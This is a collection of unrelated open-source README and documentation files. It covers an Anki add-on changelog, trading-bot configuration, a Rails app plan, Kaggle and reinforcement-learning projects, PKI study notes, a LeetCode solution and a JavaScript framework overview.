parent deck. This limitation is imposed by the Anki v2 scheduler. This is
true even if one studies only the sub-deck. This add-on may reduce the new
card limit of the parent deck and as a result limit the new card limit of
the sub-deck, regardless of the configuration of the sub-deck.

## Anki versions older than 2.1.22

The latest implementation uses hook scheduler_new_limit_for_single_deck,
introduced with Anki 2.1.22. For older versions, the old monkey patch
integration is used. This version of the add-on is much simpler.

### Configuration

The old implementation has only two configuration parameters:

   * workloadLimit (default 200)
   * workloadMax (default 250)

These are applied to workload calculated across all decks. There is no
support for per-deck workload limits.

For example, you can set configuration to:

```
{
  "workloadLimit": 200,
  "workloadMax": 250
}
```

Any other configuration parameters will be ignored.

## Change Log

### 09 Jun 2021

Some improvements to the calculations of workload and adjustment of new
cards from Issue #5 with many thanks to JazzyJangles for testing and
pointing out problems. Still not perfect but about as good as it will get
with the limitations of Anki, and certainly better than previous. This
still has a lot of prints for debugging.

### 28 May 2021

Possibly fix a bug during load. Anki sometimes calls the
reviewer_did_answer_card hook before the collection has loaded (i.e. before
calling the collection_did_load hook. In this case, the add-on is not
initialized and per-deck configuration is not yet available. In this case,
return without doing anything if reviewer_did_answer_card hook is called.

### 22 May 2021

Fix a bug in previous release that reduced new cards to 0 in many cases.

Add options to set a minimum on how low new cards will be reduced.

### 14 May 2021

A new implementation that works with Anki 2.1.28 and later.

Added limit on overdue cards as an alternative basis for limiting new
cards. Having overdue cards is a strong indication that you are overloaded.
While your number of scheduled and viewed cards are likely to be high in
such a case, you might want to limit new cards purely on the basis of
overdue cards, regardless of workload.

### 2 Sep 2020

Comment out print statements.

### 31 Aug 2020

A major rewrite to address some performance issues.

For Anki 2.1.22 and later, the scheduler_new_limit_for_single_deck hook is
used for integration.  Neither _groupChildrenMain nor _deckNewLimitSingle
are monkey patched. For older versions of Anki, the old implementation is
still used - monkey patching _groupChildrenMain and _deckNewLimitSingle.

The new implementation supports workload limits per deck, with
configuration in deck options, and total workload limit with configuration
in add-on options.

Database queries to determine workload (cards due and cards studied) are
rewritten to improve performance and results are cached to avoid re-running
them unnecessarily. The cache is cleared when cards are reviewed.

#### hooks

##### scheduler_new_limit_for_single_deck

This pylib hook is used to reduce the limit on new cards per deck, based on
workload.

##### reviewer_did_answer_card

This GUI hook is used to clear the cache of number of cards due and studied
when a card is answered.

license: MIT

branch_name: refs/heads/master

extension: md

license_type: permissive


text:
# Max Order Age

**Released on version [0.34.0](/release-notes/0.34.0)**

## How it works

By default, the parameter is set to 1800 seconds.

To reconfigure, run the command `config max_order_age` and set the desired value in seconds.

The `max_order_age` parameter allows you to set a specific duration when resetting your order's age. It refreshes your orders and automatically creates an order based on the spread and movement of the market. Also, hanging orders remain as hanging orders.

![](/assets/img/config.gif)

## Sample configuration

We can set the maximum age of an order before it refreshes back to the set spread and amount. The example below shows that it refreshed the order's age before `order_refresh_time` was triggered because `max_order_age` was set to 20 seconds.

```json
bid_spread : 0.50
ask_spread : 0.50
max_order_age : 20.0
order_refresh_time : 60.0
```

![](/assets/img/max-order-age.png)

### Max order age with order refresh tolerance

Setting our `max_order_age` at a lower time than `order_refresh_time` refreshes our orders based on the last spread and value.

Now try out a configuration without max order age, and let's enable order refresh tolerance.

```json
bid_spread : 0.50
ask_spread : 0.50
order_refresh_tolerance_pct: 0.1
order_refresh_time : 60.0
```

![](/assets/img/order-refresh-tolerance.png)

The orders are not canceling because it is within the 0.1% order refresh tolerance percentage even though the order refresh time is 30 seconds.

Now add max order age to the config.

```json
bid_spread : 0.50
ask_spread : 0.50
order_refresh_tolerance_pct: 0.02
max_order_age: 15.0
order_refresh_time : 30.0
```

![](/assets/img/different-config.png)

The `max_order_age` parameter tried to refresh the order but `order_refresh_tolerance_pct` kicked in. That's why the order was canceled, and the bot created a new order because it reached the threshold of 0.02%.

![](/assets/img/different-config2.png)

### Max order age with hanging orders

Max order age respects hanging orders and refreshes the orders but does not cancel active hanging orders. See the example below.

```json
ask_spread: 0.3
bid_spread: 0.3
order_refresh_time: 60
max_order_age: 30
hanging_order_enabled: True
```

![](/assets/img/max_order_hanging_order.gif)

The hanging orders were not canceled and were only refreshed when `max_order_age` was triggered.

### Why max order age is important in liquidity mining?

Suppose you are participating in the `HARD-USDT` campaign with an order refresh time of 30 minutes. Max order age refreshes depending on what you set it on as long as it is lower than the order refresh time. When participating in liquidity mining, outstanding orders that reach the 30-minute mark are not subject to rewards. Therefore, it is best to use the parameter to refresh the orders' age to be eligible for rewards.

branch_name: refs/heads/development


text:
# dev_box
Dev_Box is a community driven developers toolbox database. It's a place where you can finally, easily find the development tools you want to use on your next project. Or, find the tools you should have used on your last one.

[Imgur](http://i.imgur.com/1DDvxCi.png)

## Technologies
- DevBox is powered by Rails, Angular.js, and Postgres, styled with Materialize.css and Material

## Features
- oauth login
- user added tools
- voting
- information per tool
  - name
  - description
  - category
  - tags
  - language
  - price/free
  - examples
  - installation
  - website url
  - repo url

## APIs
- oAuth
  - GitHub
  - Stack Exchange

## ER-Diagram

![](http://i.imgur.com/gGwpcZR.png)

## Tables
- Users
- Tools
- Tools_Users
- Categories
- Categories_Tools
- Tags
- Tags_Tools
- Reviews
- Tvotes
- Versions (Paper_trail)

### Users
- id
- name
- email
- image_url
- provider
- provider_id
- provider_hash
- refresh_hash
- hash_expires_at

		# Migration
		rails g model user name email image_url provider provider_id provider_hash refresh_hash hash_expires_at:datetime

		# Associations
		has_many :tvotes
		has_many :reviews
		has_and_belongs_to_many :tools

### Tools
- id
- title
- description
- language
- is_free (1-free, 0-paid, -1-freemium)
- web_url
- repo_url
- avg_rating

		# Migration
		rails g model tool title description:text language is_free:integer web_url repo_url avg_rating:integer

		# Associations
		has_paper_trail
		has_and_belongs_to_many :tags
		has_and_belongs_to_many :categories
		has_and_belongs_to_many :users
		has_many :tvotes
		has_many :reviews

### Tools_Users
- id
- tool_id
- user_id

		# Migrations
		rails g model tools_users tool:references user:references --force-plural

		# Associations
		belongs_to :tool
		belongs_to :user

### Categories
- id
- category

		# Migration
		rails g model category category

		# Associations
		has_and_belongs_to_many :tools

#### Category List
- Asset
- Framework
- Library
- Terminal
- Text-Editor/IDE
- Image Editor
- Team Communication
- Project Management
- Prototype Builder

###Categories_Tools
  - id
  - category_id
  - tool_id

		# Migrations
		rails g model categories_tools category:references tool:references --force-plural

		# Associations
		has_paper_trail
		belongs_to :category
		belongs_to :tool

### Tags
- id
- tag

		# Migration
		rails g model tag tag

		# Associations
		has_and_belongs_to_many :tools

### Tags_Tools
- id
- tag_id
- tool_id

		# Migration
		rails g model tags_tools tag:references tool:references --force-plural

		# Associations
		has_paper_trail
		belongs_to :tag
		belongs_to :tool

### Reviews
- id
- pro
- con
- rating
- tool_id
- user_id

		# Migration
		rails g model review pro:text con:text rating:integer tool:references user:references

		# Associations
		belongs_to :tool
		belongs_to :user

### Tvotes
- vote
- tool_id
- user_id

		# Migration
		rails g model tvote vote:integer tool:references user:references

		# Associations
		belongs_to :tool
		belongs_to :user

### Versions (Paper_Trail)
- *This table is for use by paper_trail to handle tracking of model changes*

		# Migrations
		bundle exec rails generate paper_trail:install

		# Associations
		**Add has_paper_trail to the models you want to track**

## History Row Example
ver   |   ver_last    |   price   |   web_url   | edited_by
------|---------------|-----------|-------------|------------------------
1     |     0         |    1      |<EMAIL_ADDRESS> | ncronquist
2     |     1         |    1      |<EMAIL_ADDRESS> | cbarrus
0     |     2         |    0      |<EMAIL_ADDRESS> | jsmith

## Action List
- Create app on GitHub; include README and License
- Clone to local machine

	`git clone https://github.com/goopscoop/dev_box.git`

- CD into dev_box

	`cd dev_box`

- Create a new rails-api app without the testing framework and setup for postgresql; **MUST RUN FROM PROJECT ROOT**

	`rails-api new . -T -d postgresql`

- Add oAuth (omniauth), pry-rails, and paper_trail gems to the gemfile
- Run bundle

	`bundle`

- Create Migrations

		# Users
		rails g model user name email image_url provider provider_id provider_hash refresh_hash hash_expires_at:datetime

		# Tools
		rails g model tool title description:text language is_free:integer web_url repo_url avg_rating:integer

		# Tools_Users
		rails g model tools_users tool:references user:references --force-plural

		# Categories
		rails g model category category

		# Categories_Tools
		rails g model categories_tools category:references tool:references --force-plural

		# Tags
		rails g model tag tag

		# Tags_Tools
		rails g model tags_tools tag:references tool:references --force-plural

		# Reviews
		rails g model review pro:text con:text rating:integer tool:references user:references

		# Tvotes
		rails g model tvote vote:integer tool:references user:references

		# Versions (Paper_trail)
		bundle exec rails generate paper_trail:install

- Create the database

	`rake db:create`

- Run the migrations

	`rake db:migrate`

gha_language: Ruby


text:
# Compatibility Tests for Fuchsia

The Compatibility Tests for Fuchsia (CTF) is a suite of tests designed
to detect compatibility changes between two different versions of the
Fuchsia platform surface.  To learn how it works, and to get started on adding
CTF tests for your area, please see the links below.

## Fuchsia CTF Definition

* [CTF Overview][overview]: Background, motivation and goals for building the
Fuchsia CTF.
* [CTF RFC][rfc15]: Requirements, design and implementation strategy.
* [FAQ][faq]: Frequently asked questions.

## Contributing to the CTF

* [Contributing Guide][contributing]: One-stop shop with everything you need
to know about contributing to the Fuchsia CTF.  Start here!  Below are a few
examples of CTF tests in action.
* Code Examples
  * [Hello World \[c++\]][hello c++]: A barebones example CTF test written in
C++.
  * [Hello World \[rust\]][hello rust]: A barebones example CTF test written
in Rust.
  * [fuchsia.diagnostics][diag]: An example real CTF test running in
production, protecting the fuchsia.diagnostics FIDL from compatibility issues.

## CTF Test Coverage

Note: TODO: Dashboards are currently internal-only

[overview]: /docs/development/testing/ctf/compatibility_testing.md
[rfc15]: /docs/contribute/governance/rfcs/0015_cts.md
[faq]: /docs/development/testing/ctf/faq.md
[contributing]: /docs/development/testing/ctf/contributing_tests.md
[hello c++]: /sdk/ctf/tests/examples/hello_world/
[hello rust]: /sdk/ctf/tests/examples/rust/
[diag]: /sdk/ctf/tests/fidl/fuchsia.diagnostics/

repository: lambdaxymox/fuchsia

repo_name: lambdaxymox/fuchsia


text:
# posix-type-fast

## Short description

POSIX-compliant game _posix-type-fast_ is a simple game based on server-client architecture using `pthreads` and `TCP` protocol. Server handles connections and disconnections from many players, finds new games and sends the results to players. This game is written to achieve as broad compliance with POSIX standards as possible.

The aim of this game is to type words presented by server faster than the opponent. No indicator is presented whether opponent is faster or not so do your best! Use `telnet` to connect to server and play. Port is one of arguments to `server` application, e.g. `./server 2000 input_file.txt`.

## Technical info

All the parameters, e.g. `WORDS_GAME` - count of words to rewrite during a single game, or `MAX_CLIENTS` - maximum number of clients connected simultaneously can be changed in source code. Feel free to change this code to suit your needs.

The path to input file is a second argument to `server` application. Provide `server` with any file you like but check if every word is in a separate line. The number of words being used in program is also a parameter in program, called `WORDS_CNT`.

If client disconnects from server, e.g. `telnet` quits, especially before it starts any game, this client may be visible in ranking but the disconnection will be detected after pairing with an opponent - and opponent wins automatically. Disconnection _during the game_ is detected instantaneously. No timeouts are imposed.

## Additional info

Code is documented in English, as well as this repository is maintained in English, although the UI is translated to Polish. There are no plans to translate it to English as this game was created only to be presented as a final project for UNIX course on Warsaw University of Technology.

## In-game screenshots

Server's view:

![server]

Winner's view:

![client1]

Disconnected client:

![client2]

Client won by opponent's disconnection:

![client3]

[server]: imgs/server.png "Server's window"
[client1]: imgs/client1.png "Client's view"
[client2]: imgs/client2.png "Client's view"
[client3]: imgs/client3.png "Client's view"

## Technologies / parts of language used:

* C language, especially:
    * pthreads - application is multi-threaded,
        * mutexes,
        * conditional variables,
    * sockets, especially `TCP` protocol,
    * signal handling,
    * structures,
    * and more,
* Makefile,
* header files.

## Author

Created by: Grzegorz Czarnocki
Warsaw University of Technology
**Final project for UNIX course**


text:
# Understanding Clouds from Satellite Images
Using convolutional neural networks for the segmentation of cloud structures from satellite images in [this kaggle challenge](https://www.kaggle.com/c/understanding_cloud_organization).

## Approach:
* __Current Best Score (4 models, 264th Place):__ Public LB: `0.6608`, Private LB: `0.65019`
* __Segmentation:__ `seresnext50_unet/seresnext50_fpn/efficientnetb4_unet`
* __Classification to Remove FPs:__ `se_resnext50_32x4d`

## Usage
Look into `understanding-clouds-kaggle/scripts` and change the parameters in the respective configs `understanding-clouds-kaggle/configs` if necessary. The current configs work for Google Colaboratory with non-mounted drives.

### Installation
Make sure that you already have `torch>=1.2.0` and `torchvision>=0.4.0` installed! Everything else can be easily installed through:
```
git clone https://github.com/jchen42703/understanding-clouds-kaggle.git
cd understanding-clouds-kaggle
pip install .
pip install git+https://github.com/qubvel/segmentation_models.pytorch
```
To install the most recent version of catalyst:
```
git clone https://github.com/catalyst-team/catalyst.git
cd catalyst
pip install .
```
Annnd you're basically done!

### Preprocessing the Dataset
Assuming that you've already downloaded the dataset from Kaggle:
```
!python /content/understanding-clouds-kaggle/scripts/create_resized_dset.py  --yml_path="/content/understanding-clouds-kaggle/configs/create_dset.yml"
```
Feel free to change the parameters in the .yml file (such as the image sizes).

### Training
```
# classification
!python /content/understanding-clouds-kaggle/scripts/train_yaml.py --yml_path="/content/understanding-clouds-kaggle/configs/train_classification.yml"

# segmentation
!python /content/understanding-clouds-kaggle/scripts/train_yaml.py --yml_path="/content/understanding-clouds-kaggle/configs/train_seg.yml"

# classification + segmentation
## Currently only compatible with the custom models.ResNet34FPN model!
!python /content/understanding-clouds-kaggle/scripts/train_yaml.py --yml_path="/content/understanding-clouds-kaggle/configs/train_both.yml"
```

### Inference
```
# classification
!python understanding-clouds-kaggle/scripts/create_sub_no_trace_yaml.py --yml_path="/content/understanding-clouds-kaggle/configs/create_sub_clf.yml"

# segmentation
!python understanding-clouds-kaggle/scripts/create_sub_no_trace_yaml.py --yml_path="/content/understanding-clouds-kaggle/configs/create_sub_seg.yml"
```

### Cascade
```
from clouds.inference import combine_segmentation_classification_dfs
# removes FP with the classifier predictions
out_df = combine_segmentation_classification_dfs(seg_df, class_df)
# saves the cascaded results
out_df.to_csv("sub_final.csv", index=False)
```

gha_language: Python


text:
# Plouffe
Computing Pi decimal using Plouffe Formula in Coq

## Install
Add the OPAM repository:

    opam repo add coq-released https://coq.inria.fr/opam/released

and run:

    opam install coq-plouffe

repository: clarus/Plouffe

repo_name: clarus/Plouffe


text:
---
layout: project_page
name: "Telegram Chatbot for the senseBox with Blockly"
date: 2020-02-19
author: Felix
abstract: "A with Blockly programmed chatbot which returns the sensor values of the senseBox!"
image: /telegram-blockly/telegram-blockly.png
image1: /images/projects/telegram_bot/01_botfather.png
image2: /images/projects/telegram_bot/02_botname.png
image4: /images/projects/telegram_bot/03_botcreated.png

material:
    - senseBox MCU
    - WiFi Bee
    - Any senors
    - senseBox JST cabel
ide: blockly
lang: en
tags: ["IoT","Chatbot"]
difficult: easy
---
# Telegram Chatbot for the senseBox
A simple chatbot to read the senseBox is a cool feature. For example you can get the current values from your senseBox from anywhere. In this project you learn how to program the chatbot via blockly to control connected actuators and read sensors.

## Create Telegram-Bot
> If you do not use Telegram Messenger yet, install it on your smartphone or computer [https://telegram.org/apps](https://telegram.org/apps).
Start Telegram and search for *@BotFather* via the input field and start the chat with him. *@BotFather* is a bot itself and is used to create or edit your own bots.

{% include image.html image=page.image1 %}

> Now create a new bot with the `/newbot` command in the chat and give it a name.

{% include image.html image=page.image2 %}

> Here the name senseBoxMCU_testBot is chosen.

{% include image.html image=page.image4 %}

> If you have found a name that is not yet in use, you will get a confirmation that everything has worked as shown above. Important information are the chat link to your bot and the red printed access token. You have to copy the latter and paste it into the application example.

## Chatbot about Blockly Programming
Programming the chatbot is quite easy with Blockly. First the senseBox must be able to communicate with Telegram via WLAN. To do this, select the `Connect to Wifi` block and enter your Wifi access data. Below that the Telegram Bot must be initialized. In the field `token` enter the Telegram Token you received from the BotFather. Blockly should now look something like this:

{% include image.html image='/images/projects/telegram-blockly/1_En.PNG' %}

Now you can set what the bot should do when it receives a message. This must be done in the `Telegram do` block. This must include the `on message` block. Here you can specify the message where something should happen. Make sure that the message starts with `/`. In this case I want the internal LED of the senseBox to be turned on at `/ledan`. Within the `Telegram do` block I add a second `on message` block which turns the LED off again.

{% include image.html image='/images/projects/telegram-blockly/2_En.PNG' %}

In Telegram you can now address your new bot (you have received the contact from the BotFather as a link). You can now send him your commands `/ledon` or `/ledoff` and the LED of the senseBox should go on or off.
{% include image.html image='/images/projects/telegram-blockly/3.png' %}

## Read out sensor values
The bot can also send you messages. For example, here I would like to get sensor values for the message `/status`. For this I create two `Send Message` blocks. On each block I can specify any text. One message contains the temperature, the second contains the relative humidity.

{% include image.html image='/images/projects/telegram-blockly/4_En.PNG' %}

In Telegram I now receive my current readings after a few seconds when the message `/status` appears.

{% include image.html image='/images/projects/telegram-blockly/5.png' %}

Have fun with your personal ChatBot!

### Further tips
* Make sure that the WiFi-Bee has the correct firmware. Otherwise the senseBox may not be able to connect to Telegram. You can find more information here: [https://sensebox.github.io/books-v2/home/de/additional-info.html](https://sensebox.github.io/books-v2/home/de/additional-info.html)

* There have been some issues with the WiFi-Bee settings lately. If there is no connection despite an up to date firmware you may need to add a certificate. Please try to open the wifi updater panel [https://forum.sensebox.de/t/sensebox-home-v2-upload-zu-opensensemap-funzt-nicht/757/2](https://forum.sensebox.de/t/sensebox-home-v2-upload-zu-opensensemap-funzt-nicht/757/2) and add the domain `api.telegram.org:443`.

gha_language: HTML

gha_license_id: MIT


text:
# Tennis

## Description
In this [environment](https://github.com/Unity-Technologies/ml-agents/blob/master/docs/Learning-Environment-Examples.md#soccer-twos), the goal is to train a team of agents to play soccer.
Set-up: Environment where four agents compete in a 2 vs 2 toy soccer game.
* Goal:
  * Striker: Get the ball into the opponent's goal.
  * Goalie: Prevent the ball from entering its own goal.
* Agents:
The environment contains four agents, with two linked to one Brain (strikers) and two linked to another (goalies).

## Environment setup (for Linux)

#### Step 1: Clone the Repository
If you haven't already, please follow the [instructions](https://github.com/dganbold/deep_reinforcement_learning) to set up your Python environment.

#### Step 2: Download the Unity Environment
Download pre-built environment for Linux from one of the [links](https://s3-us-west-1.amazonaws.com/udacity-drlnd/P3/Soccer/Soccer_Linux.zip).

Then, place the file in the MADDPG/Soccer/ folder in the cloned Repository, and decompress the file.

```
$ cp Soccer_Linux.zip MADDPG/Soccer/
$ cd MADDPG/Soccer/
$ unzip Soccer_Linux.zip
```

Next, make sure the file_name parameter in train.py and test.py to match the binary file name of the Unity environment that you downloaded.
- Linux (x86): "Soccer_Linux/Soccer.x86"
- Linux (x86_64): "Soccer_Linux/Soccer.x86_64"

## State space
Vector Observation space: 112 corresponding to local 14 ray casts, each detecting 7 possible object types, along with the object's distance. Perception is in 180 degree view from front of agent.

## Action space
Vector Action space: (Discrete) One Branch
* Striker: 6 actions corresponding to forward, backward, sideways movement, as well as rotation.
* Goalie: 4 actions corresponding to forward, backward, sideways movement.

## Reward
Agent Reward Function (dependent):
* Striker: If an agent receives a reward of +1 when ball enters opponent's goal. If an agent enters own team's goal then receives a reward of -0.1 and -0.001 existential penalty.
* Goalie: If an agent receives a reward of -1 when ball enters team's goal. If ball enters opponents goal then receives a reward of +0.1 and +0.001 existential bonus.

If an agent hits the ball over the net, it receives a reward of +0.1.  If an agent lets a ball hit the ground or hits the ball out of bounds, it receives a reward of -0.01.

## Usage
- Execute the following command to train the agent:

```
$ python train.py
```

- Execute the following command to test the pre-trained agent:

```
$ python test.py
```

# Result
ToDo


text:
---
layout: post
title: "Understanding Public Key Infrastructure"
date: 2019-11-05
excerpt: "Cryptography"
tags: [PKI, Cryptography]
feature: http://ww1.sinaimg.cn/large/6b1abb29gy1fgryzol04kj21z41b84df.jpg
comments: true
---
# Windows Server Managing and Supporting Active Directory Certificate Services(ADCS)

# Cryptography
It is secure communication in the presence of third parties.

## Goals of Cryptography

* Confidentiality - content is encrypted
* Data Integrity - content is not altered in transit
* Non-repudiation - sender of message cannot deny he did not send it at a later time
* Authentication - able to prove their ID to others

## Encryption Methods

* Symmetric Encryption - use same key to encrypt and decrypt, how to exchange key in a secure way would be a problem

    eg:  DES(Data Encryption Standard), 3DES, IDEA(International Data Encryption Algorithm), CAST, RC2,RC4,RC5,RC6, AES, Blowfish
* Asymmetric Encryption (aka Public Key Encrpytion)

    eg: RSA, DSA, ECC
* Hybrid Cryptography - the encryption and decryption algoritm used in `real world`

    - Asymmetric encryption is used to encrypt the shared key for symmetric encrpytion algorithm used to encryt the message
    - symmetric encrpytion is used to encrypt message

  ## Hash Functions & Digital Signatures
Hash is typically used to verify that a certain item has not been modified by providing a `digest` (or `fingerprint`)

How hashing works

![hashing](./assets.img/../../assets/img/hash-comparison-digital-signature.png)

### Characteristics of Digital Signatures
* Identification - the recipient can be sure of who send the message
* Integrity - recipient of a signed message can check it to make sure the message was not tampered
* Reliability/non-Repudiation - verify the sender truly sent the message with `digital signature`

# PKI

## Digital Certificate
Digital credentials comparable to digital ID or digital passport.

## Certificate Authorities (CA)
CA is a machine which issues corticates to different entities(users, computers, network devices etc)

![ca-hierarchy](./assets/img/../../../assets/img/ca-hierarchy.png)

Reasons for hierarchies

  * Security
  * Mapping trust
  * Manageability - role separation
  * Flexibility - CA can be repleced easily for different levels of PKI

# Certificate Revocation and Chain Building
Digital Certificate normally expires after 1 year. In some situation might cause a certifcate to be revoked before its expiration due to:

* Certificate is no longer used
* Details of certificate are changed
* The certificate owner's private key was compromised

## Certificate Revocation List (CRL)

## Revocation Cache

### Disk Cache
Maintains copies of all CRL and OCSP responses retrieved;

Items are maintained until their validity period expires;

### Memory Cahce
Contains revocation information used by a specific process;

Maintained within the memory used by the calling process;

## Online Certificate Status Protocol(OCSP)

# Deploy a Two-Tier PKI Hierarchy

## PKI Objects in AD
A PKI has no relationship to any AD, but when installing an AD integrated CA, AD will be used to store PKI related information that can be used by clients

related Information to AD Container

* AIA - Authority Information Access
* CDP - CRL Distrubution Points
* Certificate Templates
* Certification Authorities
* Enrollment Services
* KRA
* OID
* NTAuthCertificates

## Certificate Stores
Logical containers, holding one or more certificates;
logical view is comprised of the certificated from each of the physical certificate stores on the computer;

## PKI Pre-Installation Tasks

* CA Administrator

## Offline Root CA

* CA Auditing
* OS Auditing
* Publishing Root CA CRT and CRL Files

## Subordinate Issuing CA

* Install and Configure Subordinate Issuing CA

## Post-install Configuration

## Powershell-based Installation of Subordinate Issuing CA

* Powershell 4.0 Deployment Cmdlets
* Powershell 4.0 Administration Cmdlets

## Optional installation of CA Web Enrollment Proxy for FabrikamDevicesissuingCA01

# Security

## Exposure of CA Private Key

Private Key storage (Local Computer)

- On the CA's hard drive
- In the CA computer's memory

Private Key's Risk Exposure

CA private key - the most important logical piece of data in PKI world

CA private key might fall into the wrong hands:
  - physical hard disk can be stolen
  - backups can be compromised
  - virtualizd CA can be accessed by different people (Hyper-V admins, storage admins)

Stolen private key can be used to issue fraudulent certificates for unauthorized requestors

## Hardware Security Modules

Private Key storage (HSM)

CA private key can be stored on an Hardware Security Module(HSM), implementing an HSM is the **preferred** option.

Features of HSM

- Hardware protection of valuable private keys
- Acceleration of cryptographic operations
-  Enforce additional controls whenever the CA key is used (role separation, multiple eyes principle)
-  Load balancing and failover in hardware modules using multiple HSMs linked together through a daisy chain
-  Implementing an HSM is the answer to many (**not all**) security threats but adds cost and complexity to your environment

### Risk Exposure due to CA Backup

Risk exposure if HSM is not implemented;

Mitigation factors for backups including CA private keys

### Offline Certification Authorities
  - an offline certification authorities means:
  1. truly offline, do not have a network interface
  2. are not joined to an Active Directory domain
  3. CRLs, certificate and cert requests have to be copied manually
  4. If physical - keep it in a safe place (eg separate rack)
  5. If virtual - remove from hypervisor and store 2 copies on encrypted storage devices

  ### Offline CAs and network HSM

  If an offline CA is connected to a network based HSM:

- For virtual offline CA implementations, build a dedlicated VLAN between CA and the HSM
- For Physical offline CA implementations, establish a dedicated network connection to the HSM
- Use dedicate media to transfer data
- Update the OS with Service Packs and any updates that affect the logical operation of the CA
- Implement security Auditing
- use BitLocker or other full volume encrpytion method to encrypt hard disks

### CA Hardening

### Securing virtualized CAs

### Protecting the CA Serivce

## Role Separation

Common Criteria Roles

1. CA Administrator
2. Certificate Manager
3. Backup Operator
4. Auditor

## Auditing

CA Auditing

OS Auditing

# PKI Operations and Business Continuite

## CA High Availability

- Semi redundant - 2 separate issuing CA with the same templates published
- Fully redundant - 1 issuing CA using Windows Failover Clustering

## Offline CA Maintenance

- Offline CA CRL Publishing

## Backup of PKI components

Backup Considerations

- Orphaned certificates
- Private key material presence
- Backup protection

### CA private key and database

## CA certificate Renewal

Validity period

1. increases the certificate validity period
2. Initial validity period is added to the date of the certificate renewal
3. validity period for a self-signed certificate can be modified prior to renewal using the `%windir%\CAPolicy.inf` file

```powershell
[certsrv_server]
RenewalValidityPeriodUnits = 20
RenewalValidityPeriod = years
```

### certificate renewal
1. same key pair
2. new key pair

### CA Renewal and CRL **Partitioning**

![partitioning](./assets/img/../../../assets/img/CRL Partitioning.png)

CA Renewal best practices

* Validity period of child CA should be no more than 50% of its parent
* Renewal of the CA certificate should be conducted at 50% of the validity period

## CRL Maintenance
1. Controlling CRL Size (size is increasing linear)
2. Plan for partitioning after 100k enrolled
3. plan for IDP (Issuing Distribution Point) 3rd party client support

Remove expried CRLs(if configured to be stored in the database)

## Emergency Procedures

CRL Re-Signing/Emergency CRL Signing

Manually extending the validity time of a CRL
* CA Migration
* CA Recovery
* Disaster Recovery

## Exit Modules

## CA Monitoring

# NDES - Advanced Enrollment Methods

NDES Overwiew: is a Microsoft implementation of Simple Certificate Enrollment Protocol (SCEP) used to enroll certificates to network devices

Allows switches/routers/smartphones.tablets to obtain certificates

Devices use NDES as proxy to get certificate from CA

## Prerequisites

# OCSP

## Chain Building
![pillar](./assets/img/../../../assets/img/pillar.png)

## Base and Delta CRLs

Delta CRLs contains the list of revoked certificates since the last base CRL issurance

## CRL Partitioning

## CRL Overlap Period

- Back-dated by 10 minutes by default (clock skew)

## **CRL under the hood - Revocation reasons**
1. unspecified
2. Key Compromise
3. CA Compromise
4. Change of Affiliation
5. Superseded
6. Cease of Operation
7. Certificate Hold
8. Remove from CRL
9. Priviliege Withdrawn
10. AA Compromise

## OCSP Overview

In a nutshell:

1. OCSP client searches for locally cached time-valid OCSP response from prior query
2. OCSP client sends HTTP or HTTPS request to OSCP responder for certificate status providing the certificate serial # of interest
3. OCSP responder reploes with a signed response that includes the revocation status of teh certifcate based on its cached knowledge from the CRL issued by the CA
4. OCSP client validates the signature of the response prior to accepting and caching the response
5. Valid response cached for remaining duration of OCSP responder cached CRL

## OCSP Limitations

1. Scalability limitations

Online service responding to a single certificate status requests  results in higher load than CRL solution, requiring multiple and sometimes geographically dispersed servers to balance the load

2. The response signing and signature verification processes also takes time which can adversely affect the overall response time at the relying party

3. Finally, since the integrity of the signed resonse depends on the integrity of the OCSP responder's signing key, the validity of the key is verified after a response is validated by the client.

### OCSP Answers
* `Good`
* `Revoked`
* `Unknown`

## OCSP Deployment

# Windows Server ADCS Migration


text:
# Table of contents

* [Available RCS Storage](storage.md)
* [CENTER1 Lustre Performance / Striping Guide](lustre_striping_guide.md)
* [Syncing with $ARCHIVE](syncing-with-usdarchive.md)
* [Staging data back from tape on $ARCHIVE](batch-stage-archive.md)

repository: UAF-RCS/uaf-rcs-storage-docs

repo_name: UAF-RCS/uaf-rcs-storage-docs


text:
---
layout: post
title: '824. Goat Latin'
subtitle: ''
date: 2019-08-14
categories: Leetcode
tags: Leetcode Strings
---
### [824\. Goat Latin](https://leetcode.com/problems/goat-latin/)

Difficulty: **Easy**

Topics: **Strings**

A sentence `S` is given, composed of words separated by spaces. Each word consists of lowercase and uppercase letters only.

We would like to convert the sentence to "_Goat Latin"_ (a made-up language similar to Pig Latin.)

The rules of Goat Latin are as follows:

*   If a word begins with a vowel (a, e, i, o, or u), append `"ma"` to the end of the word.
    For example, the word 'apple' becomes 'applema'.

*   If a word begins with a consonant (i.e. not a vowel), remove the first letter and append it to the end, then add `"ma"`.
    For example, the word `"goat"` becomes `"oatgma"`.

*   Add one letter `'a'` to the end of each word per its word index in the sentence, starting with 1.
    For example, the first word gets `"a"` added to the end, the second word gets `"aa"` added to the end and so on.

Return the final sentence representing the conversion from `S` to Goat Latin.

 Exactly one space between each word.
*   `1 <= S.length <= 150`.

#### Solution

Language: **Python**

```python
class Solution(object):
    def toGoatLatin(self, S):
        """
        :type S: str
        :rtype: str
        """
        d = ('a','e','i','o','u','A','E','I','O','U')
        res = ''
        for i,word in enumerate(S.split()):
            if word[0] in d:
                word += 'ma' + 'a'*(i+1)
            else:
                word = word[1:] + word[0] + 'ma' + 'a'*(i+1)
            res += word + " "
        return res.strip()
```

#### Notes
- The `strip()` method removes any **leading** (spaces at the beginning) and **trailing** (spaces at the end) characters (space is the default leading character to remove)


text:
Monaco
====

***Monaco*** is a web application framework, built on top of the marvelous [*backbone.js*](http://backbonejs.org/), that offers a non-opinionated solution for developing small and large scale front-end applications.

*Backbone* is great as it stands, and offers the developer the ability to architect a solution any way it is needed, but it doesn’t offer a structure to tie the application code together, or to deal with common problems developers face on almost every app they build, such as local caching, or analytics integration, etc; All of that makes building applications much harder than it should be, ***Monaco*** is my take on solving these problems without forcing a develop to follow this or that convention.

To learn more about how ***Monaco*** works read the [getting started](/docs/getting-started.md) and the [platform overview](/docs/platform-overview.md) docs.

Monaco Modules
----

To accomplish all of that ***Monaco*** is divided into modules, where you can opt to use all or just some of them; whatever is needed to accomplish the task in hand. Each module is designed to help you active a specific requirement of your application.

Even if you decide to use all modules available, ***Monaco*** is just 5.5kb (minified and gzipped) - but it might be even smaller if you don’t need all modules.

- **monaco-application** - this is the core and the only required module of ***Monaco***; responsible for managing the application object and all elements added to it - [learn more](docs/modules/monaco-application.md).

- **monaco-local** - this module creates a local caching system that can be used to help you architect your application caching strategy - [learn more](docs/modules/monaco-local.md).

- **monaco-router** - this module allows you to easily add advanced routes using regular expressions; it also has a reverse router implementation that can be used to create smart links - [learn more](docs/modules/monaco-router.md).

